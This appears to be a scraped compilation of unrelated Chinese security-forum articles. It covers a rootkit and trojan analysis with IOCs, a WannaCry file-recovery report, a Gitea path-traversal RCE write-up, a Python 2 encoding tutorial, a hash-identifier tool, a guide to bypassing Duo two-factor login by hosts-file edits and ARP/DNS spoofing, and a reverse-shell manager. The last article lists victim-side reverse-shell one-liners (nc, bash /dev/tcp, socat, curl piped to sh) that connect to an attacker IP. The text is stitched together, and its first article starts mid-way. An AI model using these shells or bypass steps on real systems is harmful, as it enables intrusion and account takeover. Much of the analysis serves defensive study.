后置操作规则总结如下：
1. 放行——主流浏览器、安全软件安装包
2. 对explorer以及安全软件打开 \drivers* 目录操作返回无文件
#### 进程创建、模块加载、注册表操作回调
进程创建回调中，通过比对进程文件名的hash值判定当前进程是否拦截：
修改ntdll.dll模块的内存属性，之后在模块加载回调中写入shellcode，最后插入APC执行：
该段shellcode会加载上文提到的DLL模块，并进行导入表重定位，最后调用模块入口点执行，如下图所示：
在注册表操作回调中，过滤掉安全软件对注册表项包含驱动本体路径的操作：
#### 设备通信
\DosDevices\volmgrmnt 设备通过与应用层注入的dll模块进行通信，维护文件、进程、网络监控列表，同时支持驱动本体文件的更新：
以上就是本驱动模块支持的所有功能。
### 应用层DLL模块
以32位DLL模块为例，模块启动通过判断当前进程名称执行不同的逻辑，其功能如下图所示：
配置文件的获取
DLL模块首先解析其内部配置文件，该配置文件最初由驱动加载器写入到注册表，再由驱动程序读出后写入DLL模块的.rtext节中：
DLL模块解析该加密数据，最终得到如下内容：
其中字段bkcurl字段即模块的最终配置文件，通过访问该链接，可以看到返回内容如下图：
其中定义了主页锁定链接，浏览器劫持的进程名称，下载者需要下载执行的文件等信息。
#### 浏览器主页劫持
通过带参数重启方式替换浏览器默认主页，实际的被劫持列表还包括上文的配置信息中所列数据。
我们接到过的同类型的用户反馈如下：
#### 其他功能
在联网下拉配置成功后，启动线程将其下回%temp%/随机.tmp/本地命名为desktop.ini，之后启动线程处理其内部字段：
DLL模块回连主控服务器，通过与主控服务器进行通信完成其所定义之功能，
主控服务器的IP地址获取比较有趣，先通过解析ca.jp.ix[a-e].cose.space域名得到返回的假IP，再通过内部换算拿到实际的IP地址。
### DLL模块的衍生物
上文介绍了DLL模块会联网获取到到一个配置desktop.ini，其中有一个下载链接为hxxp://pv.mupeng1688.com/skype.exe，该文件伪造了GLOBAL
BENEFIT NETWORK COMPANY LLC的签名，通过后台数据查询，可以发现在此之前，该类样本还冒用过Beijing Founder Apabi
Technology Limited的签名，
#### 功能分析
衍生物的功能包括“网页暗刷”以及“下载者”功能。功能如下图所示——这是一个典型的“CPM”模式木马。通过自身的前期铺量，后期作为“渠道商”推送其他木马获取利益。通过数据分析发现其推送的类型包含盗号、下载者、刷量、rootkit等各种恶意软件，可谓样样俱全。
这里以下载者功能为例进行简单分析，其工作流程为——判断当前工作环境，避免运行于分析环境或者沙箱中，接着与CC服务器通信获取下载任务，之后下载执行：
## 查杀截图
目前，360无需升级即可查杀此类木马：
## 彩蛋
通过同源分析，其中DLL的衍生物所推送的某例calc.exe使用了域名是mini00.com的统计后台：
## 总结
由于该类病毒通常以盗版系统、伪装激活工具、捆绑外挂及破解软件等方式感染用户机器，我们建议用户：
1. 请尽可能的使用正版操作系统和软件。
2. 软件建议从正规渠道下载，如官方网站或360软件管家等。
3. 如果使用了激活工具或安装了Ghost系统后出现异常状况，可使用360急救箱进行检查。
4. 建议安装360安全卫士并开启全面安全防护功能，可有效拦截此类病毒。
## IOCs
### [URL/HOST/IP]
hxxp://www.tj678.top
www.rminicpm.com
m.yinuolm.com
hxxp://pv.mupeng1688.com
ca.jp.ix[a-e].cose.space
hxxp://www.dqzsy.com/fjr666.ini
hxxp://2345dh.ps1f.com
www.mini00.com
98.100.119.13
### [MD5]
01ccb04891ef1c19a5d750e79b3e2da
59eb7f61033a4b0131e1906ad1831372c
b98b041ae51316cd0f544900ccbf76a4
1b81e2e0919989776e2316a003421f2d
31aee7df1b47a6183061d94e6479e551
df9899c792145395bbc4d5b8795d98c1
fb3fa1d078912fbdacece1685a2333d1 | 社区文章 |
# 【权威报告】WanaCrypt0r想哭勒索蠕虫数据恢复可行性分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**360追日团队官网：**[ **http://zhuiri.360.cn/**](http://zhuiri.360.cn/) ****
**
**
**第一章 前言**
近日，360互联网安全中心发现全球多个国家和地区的机构及个人电脑遭受到了一款新型勒索软件攻击，并于5月12日国内率先发布紧急预警。该款勒索软件在短时间内在全球范围内爆发了广泛的攻击活动，据不完全统计，它在爆发后的几个小时内就迅速攻击了99个国家的近万台设备，并在大量企业组织和个人间蔓延。外媒和多家安全公司将其命名为“WanaCrypt0r”（直译：“想哭勒索蠕虫”）。
通常，常规的勒索病毒是一种趋利明显的恶意程序，它会使用非对称加密算法加密受害者电脑内的重要文件并以此来进行勒索，向受害者索要赎金，除非受害者交出勒索赎金，否则被加密的文件无法被恢复。而新型勒索软件的“想哭勒索蠕虫”尤其致命，它利用了窃取自美国国家安全局的黑客工具EternalBlue（直译：“永恒之蓝”）实现了全球范围内的快速传播，在短时间内造成了巨大损失。继5月12日WanaCrypt0r全球攻击爆发以来，360核心安全部门对该勒索蠕虫保持了高度关注，部门各团队紧密协作，首家发布了一系列针对该蠕虫的查杀、免疫和文件恢复解决方案。
**360核心安全部门追日团队深入分析病毒原理，发现了其加密数据最精准的恢复技术，使用此技术360在全球独家发布了“想哭勒索蠕虫数据恢复工具”帮助病毒受害者恢复被蠕虫加密文件，可以达到目前最全最快的数据恢复效果，我们希望本篇技术报告可以帮助大家了解该蠕虫的核心技术原理，并对恢复被加密数据的可行性做进一步探讨。**
**第二章 加密文件核心流程分析**
蠕虫释放一个加密模块到内存，直接在内存加载该DLL。DLL导出一个函数TaskStart用于启动整个加密的流程。
程序动态获取文件系统和加密相关的API函数，以此来躲避静态查杀。
**1\. 加密入口**
调用SHGetFolderPathW获取了桌面和文档文件夹的路径，调用10004A40函数获得非当前用户的桌面和文档文件夹，分别调用EncryptFolder对文件夹进行加密操作
从Z倒序遍历盘符直到C，遍历两次，第一次遍历本地盘符（跳过光驱），第二次遍历移动盘符，分别调用EncryptFolder对文件夹进行加密操作
**2\. 文件遍历**
EncryptFolder函数是一个递归函数，递归遍历文件夹，按照下图的描述搜集文件信息：
遍历过程中排除的路径或者文件夹名称：
去除路径中盘符或主机名后进行比较
\Intel
\ProgramData
\WINDOWS
\Program Files
\Program Files (x86)
\AppData\Local\Temp
\Local Settings\Temp
文件夹名称（完全相等）
Temporary Internet Files
This folder protects against ransomware. Modifying it will reduce protection
Content.IE5
其中有一个很有意思的目录名“ This folder protects against ransomware. Modifying it will
reduce protection”，通过Google查询，发现其是国外的一款名为ransomfree的勒索防御软件创建的防御目录。
在遍历文件的过程中，会获取文件信息（大小等），并且根据后缀名使用下表的规则对文件进行分类（type）：
type列表1：
".doc",".docx",".xls",".xlsx",".ppt",".pptx",".pst",".ost",".msg",".eml",".vsd",".vsdx",".txt",".csv",".rtf",".123",".wks",".wk1",".pdf",".dwg",".onetoc2",".snt",".jpeg",".jpg"
type列表2：
".docb",".docm",".dot",".dotm",".dotx",".xlsm",".xlsb",".xlw",".xlt",".xlm",".xlc",".xltx",".xltm",".pptm",".pot",".pps",".ppsm",".ppsx",".ppam",".potx",".potm",".edb",".hwp",".602",".sxi",".sti",".sldx",".sldm",".sldm",".vdi",".vmdk",".vmx",".gpg",".aes",".ARC",".PAQ",".bz2",".tbk",".bak",".tar",".tgz",".gz",".7z",".rar",".zip",".backup",".iso",".vcd",".bmp",".png",".gif",".raw",".cgm",".tif",".tiff",".nef",".psd",".ai",".svg",".djvu",".m4u",".m3u",".mid",".wma",".flv",".3g2",".mkv",".3gp",".mp4",".mov",".avi",".asf",".mpeg",".vob",".mpg",".wmv",".fla",".swf",".wav",".mp3",".sh",".class",".jar",".java",".rb",".asp",".php",".jsp",".brd",".sch",".dch",".dip",".pl",".vb",".vbs",".ps1",".bat",".cmd",".js",".asm",".h",".pas",".cpp",".c",".cs",".suo",".sln",".ldf",".mdf",".ibd",".myi",".myd",".frm",".odb",".dbf",".db",".mdb",".accdb",".sql",".sqlitedb",".sqlite3",".asc",".lay6",".lay",".mml",".sxm",".otg",".odg",".uop",".std",".sxd",".otp",".odp",".wb2",".slk",".dif",".stc",".sxc",".ots",".ods",".3dm",".max",".3ds",".uot",".stw",".sxw",".ott",".odt",".pem",".p12",".csr",".crt",".key",".pfx",".der"
**3\. 文件处理队列**
WanaCrypt0r为了能尽快的加密其认为重要的用户文件，设计了一套复杂的优先级队列。
队列优先级：
i. 对type2（满足后缀列表1）进行加密（小于0x400的文件会降低优先级）
ii. 对type3（满足后缀列表2）进行加密（小于0x400的文件会降低优先级）
iii. 处理剩下的文件（小于0x400的文件），或者其他一些文件
**4\. 加密逻辑**
加密过程采用RSA+AES的方式完成，其中RSA加密过程使用了微软的CryptoAPI，AES代码则静态编译到DLL中。加密流程如下图所示：
使用的密钥概述：
加密后的文件格式示意：
值得注意的是，在加密过程中，程序会随机选取一部分文件使用内置的RSA公钥来进行加密，这里的目的是解密程序提供的免费解密部分文件功能。
能免费解密的文件路径在文件f.wnry中，如下：
**5\. 随机数填充**
在完成加密之后，WanaCrypt0r会对其认为重要的文件进行随机数填充，然后将文件移动到指定的临时文件夹目录然后删除。此举用于对抗文件恢复类软件，同时兼顾加密文件的速度。
被随机数填充的文件需要满足以下几点：
在特殊目录（桌面，我的文档，用户文件夹）
文件小于200M
文件后缀在type列表1
填充的逻辑：
如果文件小于0x400,直接覆盖对应长度的随机数。
如果文件大于0x400,对文件距离末尾0x400处进行覆盖。
再次重定位文件指针到文件头，以0x40000大小的缓冲区为单位向写随机数直到文件末尾。
**6\. 文件删除操作**
WanaCrypt0r首先尝试将样本移动到临时文件夹，生成一个临时文件，然后再尝试多种方法删除文件。
当采用遍历磁盘的方式加密文件的时候，会在当前盘符生成“$RECYCLE”+ 全局自增量+”.WNCYRT”(eg：
"D:\$RECYCLE\1.WNCRYT")的临时文件。特别的，当盘符为系统盘（eg：C）时，使用的是系统的临时目录（%temp%）。
之后进程以固定时间间隔启动taskdl.exe来删除临时文件夹下的文件。
**第三章 数据恢复可行性分析**
根据对WannaCry蠕虫的执行逻辑进行分析，该蠕虫在加密线程中会对满足条件的文件用随机数或0x55进行覆写，从而彻底破坏文件的结构并防止数据被恢复，但是只限定于特定的文件夹和特定的后缀名。也就是说该蠕虫只对满足条件的文件进行了写覆写操作，受害者机器上仍然有很多的文件未被覆写，这就为数据恢复提供了可能。
在删除线程中，蠕虫是先将源文件通过MoveFileEx函数移动到其创建的临时文件夹下，最后统一进行删除。在这个过程中源文件的文件名会发生改变，常规数据恢复软件不知道这个文件操作逻辑，导致大部分文件无法恢复，只能恢复小部分文件，恢复数据效果极差。
另一方面，因为删除操作和加密操作在不同的线程中，受用户环境的影响，线程间的条件竞争可能存在问题，从而导致移动源文件的操作失败，使得文件在当前位置被直接删除，在这种情况下被加密的文件有很大概率可以进行直接恢复。但是满足这种情形的文件毕竟是少数，如果采用常规数据恢复软件则只能恢复少量此类文件。
根据以上分析，我们发现了除系统盘外的文件，用我们精细化处理的方法进行数据恢复，被加密的文件其实是有很大概率可以完全恢复的。据此360开发了专门的恢复工具2.0版，以期帮助在此次攻击中广大的受害者恢复加密数据：
<http://dl.360safe.com/recovery/RansomRecovery.exe?from=360zhuiri>
继14日凌晨360全球首家发布恢复工具，为病毒受害者抢救了部分文件后。此次更新发布2.0版工具进一步挖掘病毒加密逻辑漏洞，清除病毒防止二次感染，并利用多重算法深度关联出可恢复文件并对受害者的文件进行免费解密，一站式解决蠕虫勒索软件带来的破坏，最大程度低保护了用户的数据安全，成功率遥遥领先于其他数据恢复类产品！
**第四章 总结**
WannaCry蠕虫的大规模爆发得益于其利用了MS-17-010漏洞，使得其在传统的勒索病毒的基础上具备了自我复制、主动传播的特性。在除去攻击荷载的情况下，勒索病毒最重要的是其勒索技术框架。勒索文件加密技术是使用非对称加密算法RSA-2048加密AES密钥，然后每个文件使用一个随机AES-128对称加密算法加密，在没有私钥和密钥的前提下要穷尽或破解RSA-2048和AES-128加密算法，按目前的计算能力和技术是不可破解的。但是作者在处理文件加密过程中的一些疏漏，大大增加了我们恢复文件的可能性，如果第一时间及时抢救，用户是能够恢复大部分数据的。
另外由于勒索赎金交付技术是使用的比特币，比特币具有匿名性，比特币地址的生成无需实名认证，通过地址不能对应出真实身份，比特币地址的同一拥有者的不同账号之间也没有关联。所以基于加密算法的不可破解特性和比特币的匿名特性，勒索病毒这类趋利明显的恶意攻击仍然会长时间流行，大家仍需要提高警惕。
**360追日团队（Helios Team）**
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
**已公开APT相关研究成果**
**联系方式**
**邮箱：[email protected]**
微信公众号：360追日团队
扫描下方二维码关注微信公众号 | 社区文章 |
群里发了个gitea rce的[issue](https://github.com/go-gitea/gitea/issues/5569)，跟进看了一下，顺便记录一下
## 分析commit
当时(12-20)gitea还没修复，gogs有commit，分析commit
猜想是跨目录上传伪造的管理员session文件，覆盖当前的session文件，导致权限提升
## 分析代码
首先上传一个文件，如果上传成功，就会在数据库中存入这条数据(351行)
从表单中获取刚刚上传文件的uuid，传入UploadRepoFiles中
从数据库中获得刚刚文件的数据结构(uuid, 文件名)
目标路径和文件名进行拼接，然后将上传的文件cp到目标文件夹下
问题就出在这里，因为文件名可控并且没有过滤`../`，所以就可以控制`targetPath`，造成目录穿越，将这个文件上传到我们想传的任何地方(权限允许)。所以可以生成一个管理员session文件，上传到当前的session文件夹下`uid[0]/uid[1]`，uid已知就在cookie里
## 验证
已知管理员用户名为: `luckycat`
用ph师傅的go程序生成管理员session [link](https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html#session)
然后新建一个仓库，选择上传文件
上传刚刚生成的session文件，用burp拦截，将文件名改为正好能穿越到当前用户的session文件夹下，上传完文件后，提交变更后，发现已经成为管理员了
RCE部分使用git hook来进行
## 绕过
gogs最初的修复(12-20)存在绕过
<https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51>
这里归功于@spine和@HeartSky的细心发现
进行组合就能绕过
<https://play.golang.org/p/z8ZWQYbLVCO>
## 修复
更新到最新版本
## 参考
<https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html> | 社区文章 |
Python编码问题一直困扰了我许久，之前有过一些总结，但并不系统，比较凌乱。当然python2.x编码问题本身，便是剪不断理还乱。本篇将系统介绍python2.x编程中会遇到的一些编码问题，并给出解决方案。基于对编码问题的摸索了解，我也尝试写了一个编码转换模块
Transcode
，应该能解决绝大部分新手的疑难杂症。当然，python大神可以绕道而行，至于使用3.x的朋友，以后将会成文介绍。
python编程中会经常遇到操作系统编码、文件编码、控制台输入输出编码、网页编码、源代码编码、python编码，本文将会逐一介绍。首先我们来看看一些常见的编码情况：
print sys.getdefaultencoding() #系统默认编码
print sys.getfilesystemencoding() #文件系统编码
print locale.getdefaultlocale() #系统当前编码
print sys.stdin.encoding #终端输入编码
print sys.stdout.encoding #终端输出编码
将以上这段代码在windows与linux系统下分别运行，查看输出结果。
windows终端结果:
ascii
mbcs
('zh_CN', 'cp936')
cp936
cp936
Linux终端结果：
ascii
UTF-8
('zh_CN', 'UTF-8')
UTF-8
UTF-8
### 操作系统编码
操作系统默认编码可以通过sys.getdefaultencoding()函数获取，可以看到windows与linux下默认都为ascii编码，而我们知道ascii编码不支持中文。那么操作系统编码将在python程序的何处会被用到呢？何时又会引发血案？
#### 触发异常点
经过测试，我发现当需要将unicode格式的字符串存入到文件时，python内部会默认将其先转换为Str格式的系统编码，然后再执行存入步骤。而在这过程中，容易引发ascii异常。
实例证明：
#! -*- coding:utf-8 -*- a=u"中文"
f=open("test.txt","w")
f.write(a)
报错异常信息：UnicodeEncodeError: ‘ascii’ codec can’t encode characters in position
0-1……
说明：因为ascii不支持中文，而变量a为unicode格式的中文字符串，因此无法进行编码而引发异常。
#### 解决方案
设置系统编码为utf-8或者gbk。
import sys
reload(sys)
sys.setdefaultencoding('gbk')
说明：在windows下将其设置为gbk，在linux在设置为utf-8.
### 终端编码
windows下终端指的是控制台，在控制台上输入输出有着其本身的编码格式，如windows控制台输入输出编码都为cp936。原谅我是第一次看到此编码，于是上网查了会，发现其实它就是常见的GBK编码；而linux终端的输入输出编码都为utf-8。如果我们编写的程序，不会再终端输入输出任何内容，则可以忽略此编码，如若不然终端编码将会非常重要。
#### 乱码点
我们在终端执行python脚本时，经常会遇到输出中文乱码，而这往往是因为输出的字符串本身编码与控制台编码不一致。
实例证明：
#! -*- coding:utf-8 -*- a="中文" #定义一个变量，默认为Str，utf-8编码
print a
print type(a)
windows控制台输出结果：
浣犲ソ
<type 'str'>
linux终端输出结果：
中文
<type 'str'>
造成这种差异的原因在于windows控制台为gbk编码，而变量a本身为utf-8编码。
#### 解决方案
#! -*- coding:utf-8 -*- a='你好'
b=a.decode("utf-8").encode("gbk")
print b
将变量a从utf-8编码转换为gbk编码。
### python编码
python2.x从外部获取的内容都是string编码，其内部分为String编码与Unicode编码，而String编码又分为UTF-8，GBK，GB2312等等。因此为了避免不同编码造成的报错，python内部最好都转化为unicode编码，在输出时再转化为str编码
。可以用encode()/decode()函数，将string与unicode编码互换。
#### 触发异常点
基本在于python内部变量编码与控制台编码，或者其他编码相结合时触发。
实例证明：
#! -*- coding:utf-8 -*- a="中文" #定义一个变量，默认为str，utf-8编码
print a
print type(a)
运行结果：
浣犲ソ
<type 'str'>
说明：windows下控制台输入输出都是gbk编码格式，而代码中定义的变量a为str，utf-8格式，所以会出现乱码。如果想创建一个unicode编码字符串的变量，则可以a=u”123”，在双引号前面加上一个u，表示a为unicode编码。
#### 解决方案
#! -*- coding:utf-8 -*- a='你好'
print a.decode("utf-8").encode("gbk")
说明：首先我们定义的变量a是str格式，编码为utf-8的字符串，我们要将之转化为str格式，GBK编码的字符串。在python内部无法直接转化，需要借助decode()与encode()函数。decode()函数先将str格式的字符串a转化为unicode，再将unicode编码为str格式GBK。而在Unix系统下，不存在这个问题，因为都是utf-8编码，不会存在乱码。print语句默认会将unicode编码的字符串，encode为相应系统的str编码并输出（windows下为gbk,unix下为utf-8）,因此不用担心print
unicode编码字符串会报错。
### 源代码编码
源代码编码指的是python程序本身的编码，默认为ascii。
#### 触发异常点
python程序本身要被解释器解析执行，需要先被转化为二进制代码。而在这过程中容易引发异常，原因同样是ascii不支持中文，因此当python程序中出现中文时，哪怕是注释，也会引发ascii异常。
实例证明：
print "中文" #中文注释
报错：SyntaxError: Non-ASCII character ‘\xe7’……
#### 解决方案
#! -*- coding:utf-8 -*-
python程序开头加上这句代码，指定python源代码编码格式为utf-8。
### 文件编码
文件编码指的是，python程序从文件中获取的内容的编码格式。可以用sys.getfilesystemencoding()函数获取，windows下为mbcs，linux下为utf-8。至于mbcs，是一种多字节编码（没搞很明白）。
#### 触发异常点（读取文件内容）
当python程序从文件中获取内容，并输出时，容易触发异常。
实例证明：
#! -*- coding:utf-8 -*- f=open("test.txt","r")
content=f.read()
print type(content)
print content
运行结果：
<type 'str'>
你好
可以看到windows下，从文件中读取的编码格式为Str，GBK格式（因为控制台输出没有中文乱码）；而在Unix下为Str，Utf-8格式。从输出内容来说，并没有触发异常，然而当这些内容与python程序自身内容相结合时，容易触发异常。
#### 解决方案
在windows下，最好将文件内容转为unicode，可以使用codecs：
f=codecs.open("test.txt", encoding='gbk').read()
将格式为gbk的文件内容转化为unicode格式，当然也可以直接使用open(“”,”r”).read().decode(“gbk”)
#### 触发异常点（写入文件内容）
参考操作系统编码触发异常点，即将中文unicode字符写入文件时，容易触发异常。
#### 解决方案
参考操作系统编码解决方案，或者手动将unicode编码转换为str编码。
实例证明：
#! -*- coding:utf-8 -*- a=u"中文" #a为unicode格式编码
f=open("test.txt","w")
f.write(a.encode("gbk"))
当然如果变量a本身就是Str则不会报错，只是utf-8编码的内容写入windows文件中，显示会乱码。
### 网页编码
网页编码，通常在写爬虫的时候经常遇到，再结合系统编码，python编码，文件编码，往往会搞得一团乱。在程序中我们应该分别处理这些编码，在python内部全部转化为unicode。那么网页编码又有哪些格式呢？
常见格式：utf-8，gbk，gb2312
#### 触发异常点
还是在于从网页中获取的源码编码与终端编码，甚至python内部编码不一致的情况。
实例证明：
#!coding=utf-8
import urllib2
body=urllib2.urlopen('http://thief.one').read()
print type(body)
print body
运行结果：
<type 'str'>
body中文显示乱码
说明：这个网站的编码是utf-8，而且python从网页上爬取的内容都为Str格式，在windows控制台下输出会乱码。
#### 解决方案
依照之前做法，先将其转化为unicode。而相应的正则也可以为unicode编码，如：res=r’’+u”新成员”。可以通过chardet模块判断网页编码类型，返回的是一个带概率的字典。
### 编码判断
#### 判断字符串编码
isinstance(obj, (str, unicode))
返回True或者False
#### 判断网页编码
import chardet
import urllib2
body=urllib2.urlopen("http://thief.one").read()
chardet.detect(body)
判断编码格式，会有百分比，一般用来判断网页编码比较好。
#### 判断系统编码
print sys.getdefaultencoding() #系统默认编码
print sys.getfilesystemencoding() #文件系统编码
print locale.getdefaultlocale() #系统当前编码
print sys.stdin.encoding #终端输入编码
print sys.stdout.encoding #终端输出编码
### python2.x编码建议
* 请尽量在Linux系统上编程，综上我们可以知道linux下较windows，编码问题良好很多。
* python代码内部请全部使用unicode编码，在获取外部内容时，先decode为unicode，向外输出时再encode为Str
* 在定义变量或者正则时，也定义unicode字符，如a=u”中文”；res=r””+u”正则”。
### 其他疑难杂症
实例一：
a="\\u8fdd\\u6cd5\\u8fdd\\u89c4"
print a
变量a的内容本身为unicode编码，怎么正常显示输入？
解决方案：
a="\\u8fdd\\u6cd5\\u8fdd\\u89c4" # unicode转化为中文
b=a.decode('unicode-escape')
print b
* * *
如果阅读完本章，增加了您对python编码问题的认识，那我会感到欣慰，如有python编码上的问题可以在下方留言。
如果阅读完本章，您仍然不知如何解决python乱码问题，没关系，请继续移步阅读
Transcode解决python编码问题
_为了能够让您重视，我不得不再次重申：解决python2.x编码问题的关键，在于要明白无论从哪里来的内容，在python内部流通时，都应该先转换为unicode。（python3.x在这方面做了改进，并取得了很好的效果）_ | 社区文章 |
# 【工具分享】hash算法自动识别工具hashID
|
##### 译文声明
本文是翻译文章，文章来源：github.com
原文地址：<https://github.com/psypanda/hashID>
译文仅供参考，具体内容表达以及含义原文为准。
****
**简介**
****
这个工具是用来代替[hash-identifier](http://code.google.com/p/hash-identifier/)的，因为hash-identifier已经过时啦！
hashID是用 **Python3** 写成，它通过正则表达式可识别 **220多种**
hash类型。可识别的hash详情列表可以点[这里](http://psypanda.github.io/hashID/hashinfo.xlsx)。
hashID **不仅可识别单个hash，还可解析单个文件中的hash，或者某目录下的多个文件中的hash**
。同时hashID还支持[hashcat](https://hashcat.net/oclhashcat/)模式和[JohnTheRipper](http://www.openwall.com/john/)格式输出。
**安装方法**
**pip**
hashID还可以通过[PyPi](https://pypi.python.org/pypi/hashID)安装，升级，卸载。
$ pip install hashid
$ pip install --upgrade hashid
$ pip uninstall hashid
hashID在支持Python 2 ≥ **2.7**.x 或者 Python 3 ≥ **3.3** 的平台都可以轻松上手！
**git clone**
你还可以通过clone这个repository来安装
$ sudo apt-get install python3 git
$ git clone https://github.com/psypanda/hashid.git
$ cd hashid
$ sudo install -g 0 -o 0 -m 0644 doc/man/hashid.7 /usr/share/man/man7/
$ sudo gzip /usr/share/man/man7/hashid.7
**使用方法**
$ ./hashid.py [-h] [-e] [-m] [-j] [-o FILE] [--version] INPUT
$ ./hashid.py '$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1'
Analyzing '$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
$ ./hashid.py -mj '$racf$*AAAAAAAA*3c44ee7f409c9a9b'
Analyzing '$racf$*AAAAAAAA*3c44ee7f409c9a9b'
[+] RACF [Hashcat Mode: 8500][JtR Format: racf]
$ ./hashid.py hashes.txt
--File 'hashes.txt'-- Analyzing '*85ADE5DDF71E348162894C71D73324C043838751'
[+] MySQL5.x
[+] MySQL4.1
Analyzing '$2a$08$VPzNKPAY60FsAbnq.c.h5.XTCZtC1z.j3hnlDFGImN9FcpfR1QnLq'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'hashes.txt'--
**相关资料**
****
<http://pythonhosted.org/passlib/index.html>
<http://openwall.info/wiki/john>
<http://openwall.info/wiki/john/sample-hashes>
<http://hashcat.net/wiki/doku.php?id=example_hashes>
**相关推荐**
另外还有一款在线的hash识别工具也不错哦。在没有命令行环境的时候，打开浏览器就可以用。
<https://www.onlinehashcrack.com/hash-identification.php> | 社区文章 |
## 简介
Duo与Microsoft Windows客户端和服务器操作系统集成，可以为远程桌面和本地登录添加2FA双因素身份验证，在国内注册时可能会出现Google
reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了，请移步官网：<https://duo.com/docs/rdp。>
原文地址：<https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/。>
## 工作原理
1) RDP连接或控制台登录已启动。
2) 主要身份验证。
3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接。
4) 通过Duo Security的服务进行二级认证。
5) Duo Windows登录凭据提供程序接收身份验证响应。
6) 登录RDP或控制台会话。
#### 症状-1：
The username you have entered is not enrolled with Duo Security. Please
contact your system administrator.（您输入的用户名没有在Duo Security注册）。
#### 症状-2：
Access Denied. The username you have entered cannot authenticate with Duo
Security. Please contact your system administrator.（拒绝访问，您输入的用户名无法通过Duo
Security进行身份验证）。
#### 症状-3：
Your two-factor account is disabled. Contact an administrator for
assistance.（您的双因素帐户已停用，您输入的用户名在Duo Security被删除到回收站）。
## 验证方式
Duo双因素身份验证方式有：Duo Push（手机端推送）、Call Me（打给我）、Passcode（密码代码，如下图中的：*** 437）。手机端Duo
Mobile应用中的DUO-PROTECTED（RDP保护）、DUO ADMIN（Duo仪表板保护）。
##### 注：Duo Security保护的用户名或用户名别名在多次登录失败后可能会出现此提示：Your account has been locked
out due to excessive authentication
failures（已被锁定，该用户超过了自动锁定阈值），得在Duo仪表板里Require two-factor
authentication(default)选项重新激活。
## 解决方案
### Shell命令行绕过
利用目标机器的Shell命令行绕过，ipconfig /displaydns命令找出Duo API DNS缓存记录（每个用户都会得到一个不一样的API
hostname）。为了防止系统具有过多的DNS缓存并且显示速度太慢，这时可以将命令执行结果写入到文件中：ipconfig /displaydns >
C:\ProgramData\dns.txt。
然后编辑目标机器的hosts文件，将刚刚找到的Duo API
DNS缓存记录解析到本地127.0.0.1，依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。
C:\Windows\system32> copy .\drivers\etc\hosts .\drivers\etc\hosts.bak
C:\Windows\system32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .\drivers\etc\hosts
C:\Windows\system32> type .\drivers\etc\hosts
##### 如果执行ipconfig /displaydns命令没有找到Duo API
DNS缓存记录，这时可以尝试新建一个管理员账户密码，然后用Microsoft RDP登录，再执行ipconfig /displaydns命令时就能看到Duo
API DNS缓存记录了。
##### 千万不要使用目标机器上已有的管理员账户登录，因为它们可能已在Duo Security注册并保护，如果用已有的管理员账户进行登录就会向手机端Duo
Mobile应用发送推送信息。
### ARP+DNS欺骗绕过
利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过，编辑/etc/ettercap/etter.dns文件，将Duo API
hostname解析到本地127.0.0.1，“*”星号代表所有的意思。
[...SNIP...]
################################
# microsoft sucks ;)
# redirect it to www.linux.org
microsoft.com A 107.170.40.56
*.microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
*.duosecurity.com A 127.0.0.1
[...SNIP...]
##### Ettercap ARP+DNS欺骗配置：
1) ettercap -G -> Sniff -> Unified sniffing（Ctrl+U）-> eth0
2) Hosts -> Scan for hosts（Ctrl+S）-> Hosts list（Ctrl+H）-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 2
3) Plugins -> Manage the plugins（Ctrl+P）-> dns_spoof（双击）-> Mitm -> ARP poisoning -> Sniff remote connections（勾选）-> Start -> Start sniffing
##### 如果停止ARP、DNS欺骗并关掉Ettercap软件以后DNS解析记录仍然是127.0.0.1，这时只需在受害者机器上执行“ipconfig
/flushdns”命令刷新一下DNS解析缓存就好了。另外ARP、DNS欺骗这类攻击方式动静都比较大，不是迫不得已的情况下并不建议使用。 | 社区文章 |
# Platypus
A modern multiple reverse shell sessions/clients manager via terminal written
in go
#### Features
* [x] Multiple service listening port
* [x] Multiple client connections
* [x] RESTful API
* [x] Reverse shell as a service
#### Screenshot
#### Network Topology
Attack IP: 192.168.1.2
Reverse Shell Service: 0.0.0.0:8080
RESTful Service: 127.0.0.1:9090
Victim IP: 192.168.1.3
#### Use Platypus from source code
go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go
#### Use Platypus from release binaries
// Download binary from https://github.com/WangYihang/Platypus/releases
# chmod +x ./Platypus_linux_amd64
# ./Platypus_linux_amd64
#### Victim side
nc -e /bin/bash 192.168.1.2 8080
bash -c 'bash -i >/dev/tcp/192.168.1.2/8080 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.2 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:8080
#### Reverse shell as a Service
// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port
// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
